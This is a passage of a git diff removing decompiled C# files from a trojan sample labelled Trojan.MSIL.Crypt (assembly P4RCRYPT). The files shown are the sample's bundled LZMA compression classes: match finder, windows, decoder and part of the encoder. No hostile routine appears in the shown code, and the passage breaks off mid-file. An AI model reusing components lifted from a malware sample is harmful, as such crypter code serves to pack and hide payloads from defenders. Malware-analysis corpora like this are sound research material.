num9)] == (int) this._bufferBase[(IntPtr) (index1 + num9)]); - if ((int) num9 == (int) num1) - { - this._son[(IntPtr) index3] = this._son[(IntPtr) index4]; - this._son[(IntPtr) index2] = this._son[(IntPtr) (index4 + 1U)]; - goto label_18; - } - } - if ((int) this._bufferBase[(IntPtr) (num8 + num9)] < (int) this._bufferBase[(IntPtr) (index1 + num9)]) - { - this._son[(IntPtr) index3] = num6; - index3 = index4 + 1U; - num6 = this._son[(IntPtr) index3]; - val2 = num9; - } - else - { - this._son[(IntPtr) index2] = num6; - index2 = index4; - num6 = this._son[(IntPtr) index2]; - val1 = num9; - } - } - this._son[(IntPtr) index2] = this._son[(IntPtr) index3] = 0U; -label_18: - this.MovePos(); -label_19:; - } - while (--num != 0U); - } - - private void NormalizeLinks(uint[] items, uint numItems, uint subValue) - { - for (uint index = 0; index < numItems; ++index) - { - uint num1 = items[(IntPtr) index]; - uint num2 = num1 > subValue ? num1 - subValue : 0U; - items[(IntPtr) index] = num2; - } - } - - private void Normalize() - { - uint subValue = this._pos - this._cyclicBufferSize; - this.NormalizeLinks(this._son, this._cyclicBufferSize * 2U, subValue); - this.NormalizeLinks(this._hash, this._hashSizeSum, subValue); - this.ReduceOffsets((int) subValue); - } - - public void SetCutValue(uint cutValue) => this._cutValue = cutValue; - } -} diff --git a/MSIL/Trojan/MSIL/C/Trojan.MSIL.Crypt.hfo-f184c735d91a93ab7d050f4bdcf15ec703f7b8702222b46033ce478eda5153a5/Compression/LZ/IInWindowStream.cs b/MSIL/Trojan/MSIL/C/Trojan.MSIL.Crypt.hfo-f184c735d91a93ab7d050f4bdcf15ec703f7b8702222b46033ce478eda5153a5/Compression/LZ/IInWindowStream.cs deleted file mode 100644 index a582ae8e..00000000 --- a/MSIL/Trojan/MSIL/C/Trojan.MSIL.Crypt.hfo-f184c735d91a93ab7d050f4bdcf15ec703f7b8702222b46033ce478eda5153a5/Compression/LZ/IInWindowStream.cs +++ /dev/null @@ -1,25 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: SevenZip.Compression.LZ.IInWindowStream -// Assembly: P4RCRYPT, Version=2.4.0.3, Culture=neutral, PublicKeyToken=null -// MVID: 4FCFC54A-E9CB-451C-B098-6B43627447B2 -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\Trojan.MSIL.Crypt.hfo-f184c735d91a93ab7d050f4bdcf15ec703f7b8702222b46033ce478eda5153a5.exe - -using System.IO; - -namespace SevenZip.Compression.LZ -{ - internal interface IInWindowStream - { - void SetStream(Stream inStream); - - void Init(); - - void ReleaseStream(); - - byte GetIndexByte(int index); - - uint GetMatchLen(int index, uint distance, uint limit); - - uint GetNumAvailableBytes(); - } -} diff --git a/MSIL/Trojan/MSIL/C/Trojan.MSIL.Crypt.hfo-f184c735d91a93ab7d050f4bdcf15ec703f7b8702222b46033ce478eda5153a5/Compression/LZ/IMatchFinder.cs b/MSIL/Trojan/MSIL/C/Trojan.MSIL.Crypt.hfo-f184c735d91a93ab7d050f4bdcf15ec703f7b8702222b46033ce478eda5153a5/Compression/LZ/IMatchFinder.cs deleted file mode 100644 index c71d5f1d..00000000 --- a/MSIL/Trojan/MSIL/C/Trojan.MSIL.Crypt.hfo-f184c735d91a93ab7d050f4bdcf15ec703f7b8702222b46033ce478eda5153a5/Compression/LZ/IMatchFinder.cs +++ /dev/null @@ -1,21 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: SevenZip.Compression.LZ.IMatchFinder -// Assembly: P4RCRYPT, Version=2.4.0.3, Culture=neutral, PublicKeyToken=null -// MVID: 4FCFC54A-E9CB-451C-B098-6B43627447B2 -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\Trojan.MSIL.Crypt.hfo-f184c735d91a93ab7d050f4bdcf15ec703f7b8702222b46033ce478eda5153a5.exe - -namespace SevenZip.Compression.LZ -{ - internal interface IMatchFinder : IInWindowStream - { - void Create( - uint historySize, - uint keepAddBufferBefore, - uint matchMaxLen, - uint keepAddBufferAfter); - - uint GetMatches(uint[] distances); - - void Skip(uint num); - } -} diff --git a/MSIL/Trojan/MSIL/C/Trojan.MSIL.Crypt.hfo-f184c735d91a93ab7d050f4bdcf15ec703f7b8702222b46033ce478eda5153a5/Compression/LZ/InWindow.cs b/MSIL/Trojan/MSIL/C/Trojan.MSIL.Crypt.hfo-f184c735d91a93ab7d050f4bdcf15ec703f7b8702222b46033ce478eda5153a5/Compression/LZ/InWindow.cs deleted file mode 100644 index 4169266d..00000000 --- a/MSIL/Trojan/MSIL/C/Trojan.MSIL.Crypt.hfo-f184c735d91a93ab7d050f4bdcf15ec703f7b8702222b46033ce478eda5153a5/Compression/LZ/InWindow.cs +++ /dev/null @@ -1,127 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: SevenZip.Compression.LZ.InWindow -// Assembly: P4RCRYPT, Version=2.4.0.3, Culture=neutral, PublicKeyToken=null -// MVID: 4FCFC54A-E9CB-451C-B098-6B43627447B2 -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\Trojan.MSIL.Crypt.hfo-f184c735d91a93ab7d050f4bdcf15ec703f7b8702222b46033ce478eda5153a5.exe - -using System; -using System.IO; - -namespace SevenZip.Compression.LZ -{ - public class InWindow - { - public byte[] _bufferBase; - private Stream _stream; - private uint _posLimit; - private bool _streamEndWasReached; - private uint _pointerToLastSafePosition; - public uint _bufferOffset; - public uint _blockSize; - public uint _pos; - private uint _keepSizeBefore; - private uint _keepSizeAfter; - public uint _streamPos; - - public void MoveBlock() - { - uint num1 = this._bufferOffset + this._pos - this._keepSizeBefore; - if (num1 > 0U) - --num1; - uint num2 = this._bufferOffset + this._streamPos - num1; - for (uint index = 0; index < num2; ++index) - this._bufferBase[(IntPtr) index] = this._bufferBase[(IntPtr) (num1 + index)]; - this._bufferOffset -= num1; - } - - public virtual void ReadBlock() - { - if (this._streamEndWasReached) - return; - while (true) - { - do - { - int count = -(int) this._bufferOffset + (int) this._blockSize - (int) this._streamPos; - if (count == 0) - return; - int num = this._stream.Read(this._bufferBase, (int) this._bufferOffset + (int) this._streamPos, count); - if (num == 0) - { - this._posLimit = this._streamPos; - if (this._bufferOffset + this._posLimit > this._pointerToLastSafePosition) - this._posLimit = this._pointerToLastSafePosition - this._bufferOffset; - this._streamEndWasReached = true; - return; - } - this._streamPos += (uint) num; - } - while (this._streamPos < this._pos + this._keepSizeAfter); - this._posLimit = this._streamPos - this._keepSizeAfter; - } - } - - private void Free() => this._bufferBase = (byte[]) null; - - public void Create(uint keepSizeBefore, uint keepSizeAfter, uint keepSizeReserv) - { - this._keepSizeBefore = keepSizeBefore; - this._keepSizeAfter = keepSizeAfter; - uint num = keepSizeBefore + keepSizeAfter + keepSizeReserv; - if (this._bufferBase == null || (int) this._blockSize != (int) num) - { - this.Free(); - this._blockSize = num; - this._bufferBase = new byte[(IntPtr) this._blockSize]; - } - this._pointerToLastSafePosition = this._blockSize - keepSizeAfter; - } - - public void SetStream(Stream stream) => this._stream = stream; - - public void ReleaseStream() => this._stream = (Stream) null; - - public void Init() - { - this._bufferOffset = 0U; - this._pos = 0U; - this._streamPos = 0U; - this._streamEndWasReached = false; - this.ReadBlock(); - } - - public void MovePos() - { - ++this._pos; - if (this._pos <= this._posLimit) - return; - if (this._bufferOffset + this._pos > this._pointerToLastSafePosition) - this.MoveBlock(); - this.ReadBlock(); - } - - public byte GetIndexByte(int index) => this._bufferBase[(long) (this._bufferOffset + this._pos) + (long) index]; - - public uint GetMatchLen(int index, uint distance, uint limit) - { - if (this._streamEndWasReached && (long) this._pos + (long) index + (long) limit > (long) this._streamPos) - limit = this._streamPos - (uint) ((ulong) this._pos + (ulong) index); - ++distance; - uint num = (uint) ((int) this._bufferOffset + (int) this._pos + index); - uint matchLen = 0; - while (matchLen < limit && (int) this._bufferBase[(IntPtr) (num + matchLen)] == (int) this._bufferBase[(IntPtr) (num + matchLen - distance)]) - ++matchLen; - return matchLen; - } - - public uint GetNumAvailableBytes() => this._streamPos - this._pos; - - public void ReduceOffsets(int subValue) - { - this._bufferOffset += (uint) subValue; - this._posLimit -= (uint) subValue; - this._pos -= (uint) subValue; - this._streamPos -= (uint) subValue; - } - } -} diff --git a/MSIL/Trojan/MSIL/C/Trojan.MSIL.Crypt.hfo-f184c735d91a93ab7d050f4bdcf15ec703f7b8702222b46033ce478eda5153a5/Compression/LZ/OutWindow.cs b/MSIL/Trojan/MSIL/C/Trojan.MSIL.Crypt.hfo-f184c735d91a93ab7d050f4bdcf15ec703f7b8702222b46033ce478eda5153a5/Compression/LZ/OutWindow.cs deleted file mode 100644 index de8eaa17..00000000 --- a/MSIL/Trojan/MSIL/C/Trojan.MSIL.Crypt.hfo-f184c735d91a93ab7d050f4bdcf15ec703f7b8702222b46033ce478eda5153a5/Compression/LZ/OutWindow.cs +++ /dev/null @@ -1,113 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: SevenZip.Compression.LZ.OutWindow -// Assembly: P4RCRYPT, Version=2.4.0.3, Culture=neutral, PublicKeyToken=null -// MVID: 4FCFC54A-E9CB-451C-B098-6B43627447B2 -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\Trojan.MSIL.Crypt.hfo-f184c735d91a93ab7d050f4bdcf15ec703f7b8702222b46033ce478eda5153a5.exe - -using System; -using System.IO; - -namespace SevenZip.Compression.LZ -{ - public class OutWindow - { - private byte[] _buffer; - private uint _pos; - private uint _windowSize; - private uint _streamPos; - private Stream _stream; - public uint TrainSize; - - public void Create(uint windowSize) - { - if ((int) this._windowSize != (int) windowSize) - this._buffer = new byte[(IntPtr) windowSize]; - this._windowSize = windowSize; - this._pos = 0U; - this._streamPos = 0U; - } - - public void Init(Stream stream, bool solid) - { - this.ReleaseStream(); - this._stream = stream; - if (solid) - return; - this._streamPos = 0U; - this._pos = 0U; - this.TrainSize = 0U; - } - - public bool Train(Stream stream) - { - long length = stream.Length; - uint num1 = length < (long) this._windowSize ? (uint) length : this._windowSize; - this.TrainSize = num1; - stream.Position = length - (long) num1; - this._streamPos = this._pos = 0U; - while (num1 > 0U) - { - uint count = this._windowSize - this._pos; - if (num1 < count) - count = num1; - int num2 = stream.Read(this._buffer, (int) this._pos, (int) count); - if (num2 == 0) - return false; - num1 -= (uint) num2; - this._pos += (uint) num2; - this._streamPos += (uint) num2; - if ((int) this._pos == (int) this._windowSize) - this._streamPos = this._pos = 0U; - } - return true; - } - - public void ReleaseStream() - { - this.Flush(); - this._stream = (Stream) null; - } - - public void Flush() - { - uint count = this._pos - this._streamPos; - if (count == 0U) - return; - this._stream.Write(this._buffer, (int) this._streamPos, (int) count); - if (this._pos >= this._windowSize) - this._pos = 0U; - this._streamPos = this._pos; - } - - public void CopyBlock(uint distance, uint len) - { - uint num = (uint) ((int) this._pos - (int) distance - 1); - if (num >= this._windowSize) - num += this._windowSize; - for (; len > 0U; --len) - { - if (num >= this._windowSize) - num = 0U; - this._buffer[(IntPtr) this._pos++] = this._buffer[(IntPtr) num++]; - if (this._pos >= this._windowSize) - this.Flush(); - } - } - - public void PutByte(byte b) - { - this._buffer[(IntPtr) this._pos++] = b; - if (this._pos < this._windowSize) - return; - this.Flush(); - } - - public byte GetByte(uint distance) - { - uint index = (uint) ((int) this._pos - (int) distance - 1); - if (index >= this._windowSize) - index += this._windowSize; - return this._buffer[(IntPtr) index]; - } - } -} diff --git a/MSIL/Trojan/MSIL/C/Trojan.MSIL.Crypt.hfo-f184c735d91a93ab7d050f4bdcf15ec703f7b8702222b46033ce478eda5153a5/Compression/LZMA/Base.cs b/MSIL/Trojan/MSIL/C/Trojan.MSIL.Crypt.hfo-f184c735d91a93ab7d050f4bdcf15ec703f7b8702222b46033ce478eda5153a5/Compression/LZMA/Base.cs deleted file mode 100644 index ecfc7095..00000000 --- a/MSIL/Trojan/MSIL/C/Trojan.MSIL.Crypt.hfo-f184c735d91a93ab7d050f4bdcf15ec703f7b8702222b46033ce478eda5153a5/Compression/LZMA/Base.cs +++ /dev/null @@ -1,70 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: SevenZip.Compression.LZMA.Base -// Assembly: P4RCRYPT, Version=2.4.0.3, Culture=neutral, PublicKeyToken=null -// MVID: 4FCFC54A-E9CB-451C-B098-6B43627447B2 -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\Trojan.MSIL.Crypt.hfo-f184c735d91a93ab7d050f4bdcf15ec703f7b8702222b46033ce478eda5153a5.exe - -namespace SevenZip.Compression.LZMA -{ - internal abstract class Base - { - public const uint kNumRepDistances = 4; - public const uint kNumStates = 12; - public const int kNumPosSlotBits = 6; - public const int kDicLogSizeMin = 0; - public const int kNumLenToPosStatesBits = 2; - public const uint kNumLenToPosStates = 4; - public const uint kMatchMinLen = 2; - public const int kNumAlignBits = 4; - public const uint kAlignTableSize = 16; - public const uint kAlignMask = 15; - public const uint kStartPosModelIndex = 4; - public const uint kEndPosModelIndex = 14; - public const uint kNumPosModels = 10; - public const uint kNumFullDistances = 128; - public const uint kNumLitPosStatesBitsEncodingMax = 4; - public const uint kNumLitContextBitsMax = 8; - public const int kNumPosStatesBitsMax = 4; - public const uint kNumPosStatesMax = 16; - public const int kNumPosStatesBitsEncodingMax = 4; - public const uint kNumPosStatesEncodingMax = 16; - public const int kNumLowLenBits = 3; - public const int kNumMidLenBits = 3; - public const int kNumHighLenBits = 8; - public const uint kNumLowLenSymbols = 8; - public const uint kNumMidLenSymbols = 8; - public const uint kNumLenSymbols = 272; - public const uint kMatchMaxLen = 273; - - public static uint GetLenToPosState(uint len) - { - len -= 2U; - return len < 4U ? len : 3U; - } - - public struct State - { - public uint Index; - - public void Init() => this.Index = 0U; - - public void UpdateChar() - { - if (this.Index < 4U) - this.Index = 0U; - else if (this.Index < 10U) - this.Index -= 3U; - else - this.Index -= 6U; - } - - public void UpdateMatch() => this.Index = this.Index < 7U ? 7U : 10U; - - public void UpdateRep() => this.Index = this.Index < 7U ? 8U : 11U; - - public void UpdateShortRep() => this.Index = this.Index < 7U ? 9U : 11U; - - public bool IsCharState() => this.Index < 7U; - } - } -} diff --git a/MSIL/Trojan/MSIL/C/Trojan.MSIL.Crypt.hfo-f184c735d91a93ab7d050f4bdcf15ec703f7b8702222b46033ce478eda5153a5/Compression/LZMA/Decoder.cs b/MSIL/Trojan/MSIL/C/Trojan.MSIL.Crypt.hfo-f184c735d91a93ab7d050f4bdcf15ec703f7b8702222b46033ce478eda5153a5/Compression/LZMA/Decoder.cs deleted file mode 100644 index 59e1d289..00000000 --- a/MSIL/Trojan/MSIL/C/Trojan.MSIL.Crypt.hfo-f184c735d91a93ab7d050f4bdcf15ec703f7b8702222b46033ce478eda5153a5/Compression/LZMA/Decoder.cs +++ /dev/null @@ -1,353 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: SevenZip.Compression.LZMA.Decoder -// Assembly: P4RCRYPT, Version=2.4.0.3, Culture=neutral, PublicKeyToken=null -// MVID: 4FCFC54A-E9CB-451C-B098-6B43627447B2 -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\Trojan.MSIL.Crypt.hfo-f184c735d91a93ab7d050f4bdcf15ec703f7b8702222b46033ce478eda5153a5.exe - -using SevenZip.Compression.LZ; -using SevenZip.Compression.RangeCoder; -using System; -using System.IO; - -namespace SevenZip.Compression.LZMA -{ - public class Decoder : ICoder, ISetDecoderProperties - { - private OutWindow m_OutWindow = new OutWindow(); - private SevenZip.Compression.RangeCoder.Decoder m_RangeDecoder = new SevenZip.Compression.RangeCoder.Decoder(); - private BitDecoder[] m_IsMatchDecoders = new BitDecoder[new IntPtr(192)]; - private BitDecoder[] m_IsRepDecoders = new BitDecoder[new IntPtr(12)]; - private BitDecoder[] m_IsRepG0Decoders = new BitDecoder[new IntPtr(12)]; - private BitDecoder[] m_IsRepG1Decoders = new BitDecoder[new IntPtr(12)]; - private BitDecoder[] m_IsRepG2Decoders = new BitDecoder[new IntPtr(12)]; - private BitDecoder[] m_IsRep0LongDecoders = new BitDecoder[new IntPtr(192)]; - private BitTreeDecoder[] m_PosSlotDecoder = new BitTreeDecoder[new IntPtr(4)]; - private BitDecoder[] m_PosDecoders = new BitDecoder[new IntPtr(114)]; - private BitTreeDecoder m_PosAlignDecoder = new BitTreeDecoder(4); - private Decoder.LenDecoder m_LenDecoder = new Decoder.LenDecoder(); - private Decoder.LenDecoder m_RepLenDecoder = new Decoder.LenDecoder(); - private Decoder.LiteralDecoder m_LiteralDecoder = new Decoder.LiteralDecoder(); - private uint m_DictionarySize; - private uint m_DictionarySizeCheck; - private uint m_PosStateMask; - private bool _solid; - - public Decoder() - { - this.m_DictionarySize = uint.MaxValue; - for (int index = 0; index < 4; ++index) - this.m_PosSlotDecoder[index] = new BitTreeDecoder(6); - } - - private void SetDictionarySize(uint dictionarySize) - { - if ((int) this.m_DictionarySize == (int) dictionarySize) - return; - this.m_DictionarySize = dictionarySize; - this.m_DictionarySizeCheck = Math.Max(this.m_DictionarySize, 1U); - this.m_OutWindow.Create(Math.Max(this.m_DictionarySizeCheck, 4096U)); - } - - private void SetLiteralProperties(int lp, int lc) - { - if (lp > 8) - throw new InvalidParamException(); - if (lc > 8) - throw new InvalidParamException(); - this.m_LiteralDecoder.Create(lp, lc); - } - - private void SetPosBitsProperties(int pb) - { - if (pb > 4) - throw new InvalidParamException(); - uint numPosStates = (uint) (1 << pb); - this.m_LenDecoder.Create(numPosStates); - this.m_RepLenDecoder.Create(numPosStates); - this.m_PosStateMask = numPosStates - 1U; - } - - private void Init(Stream inStream, Stream outStream) - { - this.m_RangeDecoder.Init(inStream); - this.m_OutWindow.Init(outStream, this._solid); - for (uint index1 = 0; index1 < 12U; ++index1) - { - for (uint index2 = 0; index2 <= this.m_PosStateMask; ++index2) - { - uint index3 = (index1 << 4) + index2; - this.m_IsMatchDecoders[(IntPtr) index3].Init(); - this.m_IsRep0LongDecoders[(IntPtr) index3].Init(); - } - this.m_IsRepDecoders[(IntPtr) index1].Init(); - this.m_IsRepG0Decoders[(IntPtr) index1].Init(); - this.m_IsRepG1Decoders[(IntPtr) index1].Init(); - this.m_IsRepG2Decoders[(IntPtr) index1].Init(); - } - this.m_LiteralDecoder.Init(); - for (uint index = 0; index < 4U; ++index) - this.m_PosSlotDecoder[(IntPtr) index].Init(); - for (uint index = 0; index < 114U; ++index) - this.m_PosDecoders[(IntPtr) index].Init(); - this.m_LenDecoder.Init(); - this.m_RepLenDecoder.Init(); - this.m_PosAlignDecoder.Init(); - } - - public void Code( - Stream inStream, - Stream outStream, - long inSize, - long outSize, - ICodeProgress progress) - { - this.Init(inStream, outStream); - Base.State state = new Base.State(); - state.Init(); - uint distance = 0; - uint num1 = 0; - uint num2 = 0; - uint num3 = 0; - ulong pos = 0; - ulong num4 = (ulong) outSize; - if (pos < num4) - { - if (this.m_IsMatchDecoders[(IntPtr) (state.Index << 4)].Decode(this.m_RangeDecoder) != 0U) - throw new DataErrorException(); - state.UpdateChar(); - this.m_OutWindow.PutByte(this.m_LiteralDecoder.DecodeNormal(this.m_RangeDecoder, 0U, (byte) 0)); - ++pos; - } - while (pos < num4) - { - uint posState = (uint) pos & this.m_PosStateMask; - if (this.m_IsMatchDecoders[(IntPtr) ((state.Index << 4) + posState)].Decode(this.m_RangeDecoder) == 0U) - { - byte prevByte = this.m_OutWindow.GetByte(0U); - this.m_OutWindow.PutByte(state.IsCharState() ? this.m_LiteralDecoder.DecodeNormal(this.m_RangeDecoder, (uint) pos, prevByte) : this.m_LiteralDecoder.DecodeWithMatchByte(this.m_RangeDecoder, (uint) pos, prevByte, this.m_OutWindow.GetByte(distance))); - state.UpdateChar(); - ++pos; - } - else - { - uint len; - if (this.m_IsRepDecoders[(IntPtr) state.Index].Decode(this.m_RangeDecoder) == 1U) - { - if (this.m_IsRepG0Decoders[(IntPtr) state.Index].Decode(this.m_RangeDecoder) == 0U) - { - if (this.m_IsRep0LongDecoders[(IntPtr) ((state.Index << 4) + posState)].Decode(this.m_RangeDecoder) == 0U) - { - state.UpdateShortRep(); - this.m_OutWindow.PutByte(this.m_OutWindow.GetByte(distance)); - ++pos; - continue; - } - } - else - { - uint num5; - if (this.m_IsRepG1Decoders[(IntPtr) state.Index].Decode(this.m_RangeDecoder) == 0U) - { - num5 = num1; - } - else - { - if (this.m_IsRepG2Decoders[(IntPtr) state.Index].Decode(this.m_RangeDecoder) == 0U) - { - num5 = num2; - } - else - { - num5 = num3; - num3 = num2; - } - num2 = num1; - } - num1 = distance; - distance = num5; - } - len = this.m_RepLenDecoder.Decode(this.m_RangeDecoder, posState) + 2U; - state.UpdateRep(); - } - else - { - num3 = num2; - num2 = num1; - num1 = distance; - len = 2U + this.m_LenDecoder.Decode(this.m_RangeDecoder, posState); - state.UpdateMatch(); - uint num6 = this.m_PosSlotDecoder[(IntPtr) Base.GetLenToPosState(len)].Decode(this.m_RangeDecoder); - if (num6 >= 4U) - { - int NumBitLevels = (int) (num6 >> 1) - 1; - uint num7 = (uint) ((2 | (int) num6 & 1) << NumBitLevels); - distance = num6 >= 14U ? num7 + (this.m_RangeDecoder.DecodeDirectBits(NumBitLevels - 4) << 4) + this.m_PosAlignDecoder.ReverseDecode(this.m_RangeDecoder) : num7 + BitTreeDecoder.ReverseDecode(this.m_PosDecoders, (uint) ((int) num7 - (int) num6 - 1), this.m_RangeDecoder, NumBitLevels); - } - else - distance = num6; - } - if ((ulong) distance >= (ulong) this.m_OutWindow.TrainSize + pos || distance >= this.m_DictionarySizeCheck) - { - if (distance != uint.MaxValue) - throw new DataErrorException(); - break; - } - this.m_OutWindow.CopyBlock(distance, len); - pos += (ulong) len; - } - } - this.m_OutWindow.Flush(); - this.m_OutWindow.ReleaseStream(); - this.m_RangeDecoder.ReleaseStream(); - } - - public void SetDecoderProperties(byte[] properties) - { - if (properties.Length < 5) - throw new InvalidParamException(); - int lc = (int) properties[0] % 9; - int num = (int) properties[0] / 9; - int lp = num % 5; - int pb = num / 5; - if (pb > 4) - throw new InvalidParamException(); - uint dictionarySize = 0; - for (int index = 0; index < 4; ++index) - dictionarySize += (uint) properties[1 + index] << index * 8; - this.SetDictionarySize(dictionarySize); - this.SetLiteralProperties(lp, lc); - this.SetPosBitsProperties(pb); - } - - public bool Train(Stream stream) - { - this._solid = true; - return this.m_OutWindow.Train(stream); - } - - private class LenDecoder - { - private BitDecoder m_Choice = new BitDecoder(); - private BitDecoder m_Choice2 = new BitDecoder(); - private BitTreeDecoder[] m_LowCoder = new BitTreeDecoder[new IntPtr(16)]; - private BitTreeDecoder[] m_MidCoder = new BitTreeDecoder[new IntPtr(16)]; - private BitTreeDecoder m_HighCoder = new BitTreeDecoder(8); - private uint m_NumPosStates; - - public void Create(uint numPosStates) - { - for (uint numPosStates1 = this.m_NumPosStates; numPosStates1 < numPosStates; ++numPosStates1) - { - this.m_LowCoder[(IntPtr) numPosStates1] = new BitTreeDecoder(3); - this.m_MidCoder[(IntPtr) numPosStates1] = new BitTreeDecoder(3); - } - this.m_NumPosStates = numPosStates; - } - - public void Init() - { - this.m_Choice.Init(); - for (uint index = 0; index < this.m_NumPosStates; ++index) - { - this.m_LowCoder[(IntPtr) index].Init(); - this.m_MidCoder[(IntPtr) index].Init(); - } - this.m_Choice2.Init(); - this.m_HighCoder.Init(); - } - - public uint Decode(SevenZip.Compression.RangeCoder.Decoder rangeDecoder, uint posState) - { - if (this.m_Choice.Decode(rangeDecoder) == 0U) - return this.m_LowCoder[(IntPtr) posState].Decode(rangeDecoder); - uint num = 8; - return this.m_Choice2.Decode(rangeDecoder) != 0U ? num + 8U + this.m_HighCoder.Decode(rangeDecoder) : num + this.m_MidCoder[(IntPtr) posState].Decode(rangeDecoder); - } - } - - private class LiteralDecoder - { - private Decoder.LiteralDecoder.Decoder2[] m_Coders; - private int m_NumPrevBits; - private int m_NumPosBits; - private uint m_PosMask; - - public void Create(int numPosBits, int numPrevBits) - { - if (this.m_Coders != null && this.m_NumPrevBits == numPrevBits && this.m_NumPosBits == numPosBits) - return; - this.m_NumPosBits = numPosBits; - this.m_PosMask = (uint) ((1 << numPosBits) - 1); - this.m_NumPrevBits = numPrevBits; - uint length = (uint) (1 << this.m_NumPrevBits + this.m_NumPosBits); - this.m_Coders = new Decoder.LiteralDecoder.Decoder2[(IntPtr) length]; - for (uint index = 0; index < length; ++index) - this.m_Coders[(IntPtr) index].Create(); - } - - public void Init() - { - uint num = (uint) (1 << this.m_NumPrevBits + this.m_NumPosBits); - for (uint index = 0; index < num; ++index) - this.m_Coders[(IntPtr) index].Init(); - } - - private uint GetState(uint pos, byte prevByte) => (uint) ((((int) pos & (int) this.m_PosMask) << this.m_NumPrevBits) + ((int) prevByte >> 8 - this.m_NumPrevBits)); - - public byte DecodeNormal(SevenZip.Compression.RangeCoder.Decoder rangeDecoder, uint pos, byte prevByte) => this.m_Coders[(IntPtr) this.GetState(pos, prevByte)].DecodeNormal(rangeDecoder); - - public byte DecodeWithMatchByte( - SevenZip.Compression.RangeCoder.Decoder rangeDecoder, - uint pos, - byte prevByte, - byte matchByte) - { - return this.m_Coders[(IntPtr) this.GetState(pos, prevByte)].DecodeWithMatchByte(rangeDecoder, matchByte); - } - - private struct Decoder2 - { - private BitDecoder[] m_Decoders; - - public void Create() => this.m_Decoders = new BitDecoder[768]; - - public void Init() - { - for (int index = 0; index < 768; ++index) - this.m_Decoders[index].Init(); - } - - public byte DecodeNormal(SevenZip.Compression.RangeCoder.Decoder rangeDecoder) - { - uint index = 1; - do - { - index = index << 1 | this.m_Decoders[(IntPtr) index].Decode(rangeDecoder); - } - while (index < 256U); - return (byte) index; - } - - public byte DecodeWithMatchByte(SevenZip.Compression.RangeCoder.Decoder rangeDecoder, byte matchByte) - { - uint index = 1; - do - { - uint num1 = (uint) ((int) matchByte >> 7 & 1); - matchByte <<= 1; - uint num2 = this.m_Decoders[(IntPtr) ((uint) (1 + (int) num1 << 8) + index)].Decode(rangeDecoder); - index = index << 1 | num2; - if ((int) num1 != (int) num2) - { - while (index < 256U) - index = index << 1 | this.m_Decoders[(IntPtr) index].Decode(rangeDecoder); - break; - } - } - while (index < 256U); - return (byte) index; - } - } - } - } -} diff --git a/MSIL/Trojan/MSIL/C/Trojan.MSIL.Crypt.hfo-f184c735d91a93ab7d050f4bdcf15ec703f7b8702222b46033ce478eda5153a5/Compression/LZMA/Encoder.cs b/MSIL/Trojan/MSIL/C/Trojan.MSIL.Crypt.hfo-f184c735d91a93ab7d050f4bdcf15ec703f7b8702222b46033ce478eda5153a5/Compression/LZMA/Encoder.cs deleted file mode 100644 index 131d1d42..00000000 --- a/MSIL/Trojan/MSIL/C/Trojan.MSIL.Crypt.hfo-f184c735d91a93ab7d050f4bdcf15ec703f7b8702222b46033ce478eda5153a5/Compression/LZMA/Encoder.cs +++ /dev/null @@ -1,1329 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: SevenZip.Compression.LZMA.Encoder -// Assembly: P4RCRYPT, Version=2.4.0.3, Culture=neutral, PublicKeyToken=null -// MVID: 4FCFC54A-E9CB-451C-B098-6B43627447B2 -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\Trojan.MSIL.Crypt.hfo-f184c735d91a93ab7d050f4bdcf15ec703f7b8702222b46033ce478eda5153a5.exe - -using SevenZip.Compression.LZ; -using SevenZip.Compression.RangeCoder; -using System; -using System.IO; - -namespace SevenZip.Compression.LZMA -{ - public class Encoder : ICoder, ISetCoderProperties, IWriteCoderProperties - { - private const uint kIfinityPrice = 268435455; - private const int kDefaultDictionaryLogSize = 22; - private const uint kNumFastBytesDefault = 32; - private const uint kNumLenSpecSymbols = 16; - private const uint kNumOpts = 4096; - private const int kPropSize = 5; - private static byte[] g_FastPos = new byte[2048]; - private Base.State _state = new Base.State(); - private byte _previousByte; - private uint[] _repDistances = new uint[new IntPtr(4)]; - private Encoder.Optimal[] _optimum = new Encoder.Optimal[new IntPtr(4096)]; - private IMatchFinder _matchFinder; - private SevenZip.Compression.RangeCoder.Encoder _rangeEncoder = new SevenZip.Compression.RangeCoder.Encoder(); - private BitEncoder[] _isMatch = new BitEncoder[new IntPtr(192)]; - private BitEncoder[] _isRep = new BitEncoder[new IntPtr(12)]; - private BitEncoder[] _isRepG0 = new BitEncoder[new IntPtr(12)]; - private BitEncoder[] _isRepG1 = new BitEncoder[new IntPtr(12)]; - private BitEncoder[] _isRepG2 = new BitEncoder[new IntPtr(12)]; - private BitEncoder[] _isRep0Long = new BitEncoder[new IntPtr(192)]; - private BitTreeEncoder[] _posSlotEncoder = new BitTreeEncoder[new IntPtr(4)]; - private BitEncoder[] _posEncoders = new BitEncoder[new IntPtr(114)]; - private BitTreeEncoder _posAlignEncoder = new BitTreeEncoder(4); - private Encoder.LenPriceTableEncoder _lenEncoder = new Encoder.LenPriceTableEncoder(); - private Encoder.LenPriceTableEncoder _repMatchLenEncoder = new Encoder.LenPriceTableEncoder(); - private Encoder.LiteralEncoder _literalEncoder = new Encoder.LiteralEncoder(); - private uint[] _matchDistances = new uint[new IntPtr(548)]; - private uint _numFastBytes = 32; - private uint _longestMatchLength; - private uint _numDistancePairs; - private uint _additionalOffset; - private uint _optimumEndIndex; - private uint _optimumCurrentIndex; - private bool _longestMatchWasFound; - private uint[] _posSlotPrices = new uint[256]; - private uint[] _distancesPrices = new uint[new IntPtr(512)]; - private uint[] _alignPrices = new uint[new IntPtr(16)]; - private uint _alignPriceCount; - private uint _distTableSize = 44; - private int _posStateBits = 2; - private uint _posStateMask = 3; - private int _numLiteralPosStateBits; - private int _numLiteralContextBits = 3; - private uint _dictionarySize = 4194304; - private uint _dictionarySizePrev = uint.MaxValue; - private uint 